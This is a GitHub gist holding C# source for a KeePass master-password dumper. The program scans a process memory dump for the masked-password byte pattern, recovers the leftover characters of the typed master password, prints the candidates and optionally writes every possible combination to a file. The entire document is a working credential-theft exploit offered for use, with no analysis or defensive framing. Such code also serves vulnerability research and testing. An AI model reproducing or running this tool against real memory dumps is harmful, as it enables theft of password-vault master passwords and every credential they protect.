Created
June 21, 2023 09:25
-
-
Save c0d3x27/4f479938828125cfab89bba67ddf6148 to your computer and use it in GitHub Desktop.
keepass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Runtime.InteropServices; | |
using System.Text.RegularExpressions; | |
namespace keepass_password_dumper | |
{ | |
internal static class Program | |
{ | |
private const string AllowedChars = "^[\x20-\x7E]+$"; | |
private const int BufferSize = 524288; | |
private static void Main(string[] args) | |
{ | |
var passwordChar = RuntimeInformation.IsOSPlatform(OSPlatform.Windows) ? "*" : "●"; | |
if (args.Length < 1) | |
{ | |
Console.WriteLine("Please specify a file path as an argument."); | |
return; | |
} | |
var filePath = args[0]; | |
if (!File.Exists(filePath)) | |
{ | |
Console.WriteLine("File not found."); | |
return; | |
} | |
var pwdListPath = args.Length >= 2 ? args[1] : string.Empty; | |
var candidates = new Dictionary<int, HashSet<string>>(); | |
var currentStrLen = 0; | |
var debugStr = string.Empty; | |
using var fs = new FileStream(filePath, FileMode.Open, FileAccess.Read); | |
var buffer = new byte[BufferSize]; | |
int bytesRead; | |
while ((bytesRead = fs.Read(buffer, 0, buffer.Length)) > 0) | |
{ | |
for (var i = 0; i < bytesRead - 1; i++) | |
{ | |
if (buffer[i] == 0xCF && buffer[i + 1] == 0x25) | |
{ | |
currentStrLen++; | |
i++; | |
debugStr += passwordChar; | |
} | |
else | |
{ | |
if (currentStrLen == 0) continue; | |
currentStrLen++; | |
var character = new[] { buffer[i], buffer[i + 1] }; | |
var strChar = System.Text.Encoding.Unicode.GetString(character); | |
var isValid = Regex.IsMatch(strChar, AllowedChars); | |
if (isValid) | |
{ | |
if (!candidates.ContainsKey(currentStrLen)) | |
{ | |
candidates.Add(currentStrLen, new HashSet<string> { strChar }); | |
} | |
else | |
{ | |
if (!candidates[currentStrLen].Contains(strChar)) | |
candidates[currentStrLen].Add(strChar); | |
} | |
debugStr += strChar; | |
Console.WriteLine($"Found: {debugStr}"); | |
} | |
currentStrLen = 0; | |
debugStr = string.Empty; | |
} | |
} | |
} | |
Console.WriteLine("\nPassword candidates (character positions):"); | |
Console.WriteLine($"Unknown characters are displayed as \"{passwordChar}\""); | |
Console.WriteLine($"1.:\t{passwordChar}"); | |
var combined = passwordChar; | |
var count = 2; | |
foreach (var (key, value) in candidates.OrderBy(x => x.Key)) | |
{ | |
while (key > count) | |
{ | |
Console.WriteLine($"{count}.:\t{passwordChar}"); | |
combined += passwordChar; | |
count++; | |
} | |
Console.Write($"{key}.:\t"); | |
if (value.Count != 1) | |
combined += "{"; | |
foreach (var c in value) | |
{ | |
Console.Write($"{c}, "); | |
combined += c; | |
if (value.Count != 1) | |
combined += ", "; | |
} | |
if (value.Count != 1) | |
combined = combined[..^2] + "}"; | |
Console.WriteLine(); | |
count++; | |
} | |
Console.WriteLine($"Combined: {combined}"); | |
if (pwdListPath == string.Empty) | |
return; | |
var pwdList = new List<string>(); | |
generatePwdList(candidates, pwdList, passwordChar); | |
File.WriteAllLines(pwdListPath, pwdList); | |
Console.WriteLine($"{pwdList.Count} possible passwords saved in {pwdListPath}. Unknown characters indicated as {passwordChar}"); | |
} | |
private static void generatePwdList( | |
Dictionary<int, HashSet<string>> candidates, | |
List<string> pwdList, | |
string unknownChar, | |
string pwd = "", | |
int prevKey = 0) | |
{ | |
foreach (var kvp in candidates) | |
{ | |
while (kvp.Key != prevKey + 1) | |
{ | |
pwd += unknownChar; | |
prevKey++; | |
} | |
prevKey = kvp.Key; | |
if (kvp.Value.Count == 1) | |
{ | |
pwd += kvp.Value.First(); | |
continue; | |
} | |
foreach (var val in kvp.Value) | |
{ | |
generatePwdList( | |
candidates.Where(x => x.Key >= kvp.Key + 1).ToDictionary(d => d.Key, d => d.Value), | |
pwdList, | |
unknownChar, | |
pwd + val, | |
prevKey); | |
} | |
return; | |
} | |
pwdList.Add(pwd); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment